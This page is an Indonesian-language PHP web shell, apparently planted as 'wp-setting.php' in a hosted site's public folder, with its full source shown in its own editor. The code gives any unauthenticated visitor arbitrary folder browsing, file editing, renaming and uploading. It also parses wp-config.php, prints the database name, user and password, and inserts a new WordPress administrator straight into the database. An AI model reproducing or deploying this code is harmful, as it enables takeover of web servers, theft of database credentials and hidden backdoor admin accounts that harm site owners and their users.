📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/codigos.goblinstreaming21.com
📄
.htaccess
📁
.well-known
📁
admin
📁
cgi-bin
📁
config
📄
decodificador.php
📄
error_log
📄
funciones.php
📁
images
📄
index.php
📄
inicio.php
📁
instalacion
📄
license.dat
📁
security
📁
styles
📄
wp-setting.php
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
.htaccess
.well-known
admin
cgi-bin
config
decodificador.php
error_log
funciones.php
images
index.php
inicio.php
instalacion
license.dat
security
styles
wp-setting.php
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: wp-setting.php
<?php // ============ ROOT FOLDER HANDLING ============ $selectedPath = $_GET['root'] ?? __DIR__; $root = realpath($selectedPath); if (!$root || !is_dir($root)) { die("<p style='color:red'>❌ Folder tidak valid!</p>"); } // Fungsi validasi path function safePath($base, $target) { $real = realpath($base . '/' . $target); return ($real && strpos($real, $base) === 0) ? $real : null; } // ======== HANDLE FORM ACTIONS ======== // Buat folder if ($_POST['new_folder'] ?? false) { $name = basename($_POST['new_folder']); @mkdir("$root/$name"); } // Buat file if ($_POST['new_file'] ?? false) { $name = basename($_POST['new_file']); @file_put_contents("$root/$name", ''); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'])) { $from = safePath($root, $_POST['rename_from']); $toName = basename($_POST['rename_to']); $to = "$root/$toName"; if ($from && $to) @rename($from, $to); } // Simpan isi file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'], $_GET['file'])) { $filepath = safePath($root, $_GET['file']); if ($filepath && is_file($filepath)) { file_put_contents($filepath, $_POST['content']); echo "<p style='color:green'>✅ Disimpan.</p>"; } } // ======== BUAT USER WORDPRESS BERDASARKAN FOLDER YANG DIPILIH ======== if (isset($_POST['create_wp_user'])) { echo "<h4>🛠 Debug Create WP Admin:</h4>"; $configPath = realpath($root . '/wp-config.php'); echo "<p>📄 wp-config.php: " . ($configPath ?: '❌ Tidak ditemukan') . "</p>"; if ($configPath && is_file($configPath)) { $config = file_get_contents($configPath); // Parsing function function wp_config_value($key, $config) { $pattern = "/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"](.+?)['\"]\s*\);/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } function wp_config_prefix($config) { $pattern = "/\\\$table_prefix\s*=\s*['\"](\w+_)['\"]\s*;/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } // Ambil konfigurasi $dbname = wp_config_value('DB_NAME', $config); $dbuser = wp_config_value('DB_USER', $config); $dbpass = wp_config_value('DB_PASSWORD', $config); $dbhost = wp_config_value('DB_HOST', $config); $prefix = wp_config_prefix($config); echo "<pre>DB: $dbname\nUser: $dbuser\nPass: $dbpass\nHost: $dbhost\nPrefix: $prefix</pre>"; if (!$dbname || !$dbuser || !$dbpass || !$dbhost || !$prefix) { echo "<p style='color:red'>❌ Gagal parsing konfigurasi WordPress.</p>"; return; } $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_error) { echo "<p style='color:red'>❌ Koneksi DB gagal: " . $mysqli->connect_error . "</p>"; return; } else { echo "<p style='color:green'>✅ Koneksi DB sukses.</p>"; } // Cek tabel users $checkUsersTable = $mysqli->query("SHOW TABLES LIKE '{$prefix}users'"); if (!$checkUsersTable || $checkUsersTable->num_rows === 0) { echo "<p style='color:red'>❌ Tabel {$prefix}users tidak ditemukan.</p>"; return; } else { echo "<p>✅ Tabel {$prefix}users ditemukan.</p>"; } // Data input user $username = $mysqli->real_escape_string($_POST['wp_user']); $email = $mysqli->real_escape_string($_POST['wp_email']); $password = $_POST['wp_pass']; $hash = password_hash($password, PASSWORD_BCRYPT); $now = date('Y-m-d H:i:s'); // Cek duplikat $check = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login = '$username' OR user_email = '$email'"); if ($check && $check->num_rows > 0) { echo "<p style='color:red'>⚠️ Username atau email sudah terdaftar.</p>"; return; } // Insert user $insertUser = $mysqli->query("INSERT INTO {$prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES ('$username', '$hash', '$username', '$email', '$now', 0, '$username')"); if (!$insertUser) { echo "<p style='color:red'>❌ Gagal insert user: " . $mysqli->error . "</p>"; return; } $uid = $mysqli->insert_id; echo "<p>✅ User ID baru: $uid</p>"; // Insert usermeta (role + level) $metaInsert = $mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$prefix}capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), ($uid, '{$prefix}user_level', '10')"); if (!$metaInsert) { echo "<p style='color:red'>❌ Gagal insert usermeta: " . $mysqli->error . "</p>"; return; } echo "<p style='color:green'>✅ User <b>$username</b> berhasil dibuat sebagai Administrator.</p>"; $mysqli->close(); } else { echo "<p style='color:red'>❌ File wp-config.php tidak ditemukan di folder root.</p>"; } } $currentFile = $_GET['file'] ?? null; $currentPath = $currentFile ? safePath($root, $currentFile) : null; $items = scandir($root); // 🔽 Tambahkan di sini // Coba parsing wp-config.php secara otomatis agar bagian Daftar Admin bisa tetap jalan $configPath = realpath($root . '/wp-config.php'); if ($configPath && is_file($configPath)) { $config = file_get_contents($configPath); function wp_config_value($key, $config) { $pattern = "/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"](.+?)['\"]\s*\);/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } function wp_config_prefix($config) { $pattern = "/\\\$table_prefix\s*=\s*['\"](\w+)_['\"]\s*;/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } $dbname = wp_config_value('DB_NAME', $config); $dbuser = wp_config_value('DB_USER', $config); $dbpass = wp_config_value('DB_PASSWORD', $config); $dbhost = wp_config_value('DB_HOST', $config); $prefix = wp_config_prefix($config); } if (isset($_POST['upload_action'], $_POST['folder_nama']) && isset($_FILES['upload_file'])) { $folderName = basename(trim($_POST['folder_nama'])); $file = $_FILES['upload_file']; if ($file['error'] === UPLOAD_ERR_OK) { $filename = basename($file['name']); $targetFolder = $root . DIRECTORY_SEPARATOR . $folderName; // Buat folder jika belum ada if (!is_dir($targetFolder)) { if (!mkdir($targetFolder, 0777, true)) { echo json_encode(["status" => "error", "msg" => "Gagal membuat folder: $folderName"]); exit; } } $targetPath = $targetFolder . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { echo json_encode(["status" => "ok", "msg" => "File berhasil diupload ke $folderName"]); } else { echo json_encode(["status" => "error", "msg" => "Gagal memindahkan file ke folder"]); } } else { echo json_encode(["status" => "error", "msg" => "Upload error code: " . $file['error']]); } exit; } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>📝 File Editor</title> <style> textarea { width: 100%; height: 500px; font-family: monospace; font-size: 14px; } #replaceModal { position: fixed; top: 30%; left: 50%; transform: translate(-50%, -50%); background: #fff; border: 1px solid #ccc; padding: 20px; display: none; box-shadow: 0 4px 12px rgba(0,0,0,0.3); z-index: 9999; } </style> </head> <body> <h2>📝 File Editor (IP: <?= htmlspecialchars($client_ip) ?>)</h2> <!-- 📂 Pilih Root Folder --> <form method="GET"> <label>📂 Root Folder:</label> <input type="text" name="root" value="<?= htmlspecialchars($root) ?>" style="width:400px"> <button type="submit">🔍 Buka</button> </form> <hr> <!-- 📁 List file & folder --> <h4>📁 Daftar isi: <?= htmlspecialchars($root) ?></h4> <?php $parent = dirname($root); if ($parent && realpath($parent) !== $root && strpos($parent, __DIR__) === 0): ?> <p><a href="?root=<?= urlencode($parent) ?>">⬅️ Kembali ke folder sebelumnya</a></p> <?php endif; ?> <ul> <?php foreach ($items as $item): ?> <?php if ($item === '.' || $item === '..') continue; ?> <li> <?= is_dir("$root/$item") ? '📁' : '📄' ?> <?php if (is_dir("$root/$item")): ?> <a href="?root=<?= urlencode(realpath("$root/$item")) ?>"> <?= htmlspecialchars($item) ?> </a> <?php else: ?> <a href="?root=<?= urlencode($root) ?>&file=<?= urlencode($item) ?>"> <?= htmlspecialchars($item) ?> </a> <?php endif; ?> </li> <?php endforeach; ?> </ul> <hr> <!-- ➕ Buat Folder --> <form method="POST"> <label>📁 Folder Baru:</label> <input type="text" name="new_folder" required> <input type="hidden" name="root" value="<?= htmlspecialchars($root) ?>"> <button type="submit">+ Buat</button> </form> <!-- ➕ Buat File --> <form method="POST" style="margin-top:10px;"> <label>📄 File Baru:</label> <input type="text" name="new_file" required> <input type="hidden" name="root" value="<?= htmlspecialchars($root) ?>"> <button type="submit">+ Buat</button> </form> <!-- ✏️ Rename --> <form method="POST" style="margin-top:10px;"> <label>✏️ Rename:</label> <select name="rename_from"> <?php foreach ($items as $item): ?> <?php if ($item === '.' || $item === '..') continue; ?> <option value="<?= htmlspecialchars($item) ?>"><?= htmlspecialchars($item) ?></option> <?php endforeach; ?> </select> ➡️ <input type="text" name="rename_to" placeholder="Nama Baru" required> <input type="hidden" name="root" value="<?= htmlspecialchars($root) ?>"> <button type="submit">Rename</button> </form> <hr> <h3>➕ Tambah User WordPress (folder aktif)</h3> <form method="POST"> <label>👤 Username:</label><br> <input type="text" name="wp_user" required><br> <label>📧 Email:</label><br> <input type="email" name="wp_email" required><br> <label>🔒 Password:</label><br> <input type="text" name="wp_pass" required><br><br> <input type="hidden" name="create_wp_user" value="1"> <button type="submit">➕ Buat User WP (admin)</button> </form> <hr> <!-- 📝 Editor --> <?php if ($currentPath && is_file($currentPath)): ?> <hr> <h3>📝 Mengedit: <?= htmlspecialchars($currentFile) ?></h3> <form method="POST"> <textarea id="editor" name="content"><?= htmlspecialchars(file_get_contents($currentPath)) ?></textarea><br> <button type="submit">💾 Simpan</button> </form> <?php endif; ?> <!-- 🔁 Modal Replace (Ctrl + H) --> <div id="replaceModal"> <h3>🔁 Replace Teks (Ctrl+H)</h3> <label>Cari:</label><br> <input type="text" id="findText"><br> <label>Ganti Dengan:</label><br> <input type="text" id="replaceText"><br><br> <button onclick="doReplace()">Replace All</button> <button onclick="document.getElementById('replaceModal').style.display='none'">Tutup</button> </div> <script> // Ctrl + H = ganti teks document.addEventListener('keydown', function(e) { if (e.ctrlKey && e.key === 'h') { e.preventDefault(); document.getElementById('replaceModal').style.display = 'block'; document.getElementById('findText').focus(); } }); function doReplace() { const find = document.getElementById('findText').value; const replace = document.getElementById('replaceText').value; const editor = document.getElementById('editor'); const re = new RegExp(find.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'); editor.value = editor.value.replace(re, replace); document.getElementById('replaceModal').style.display = 'none'; } </script> </body> </html>
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup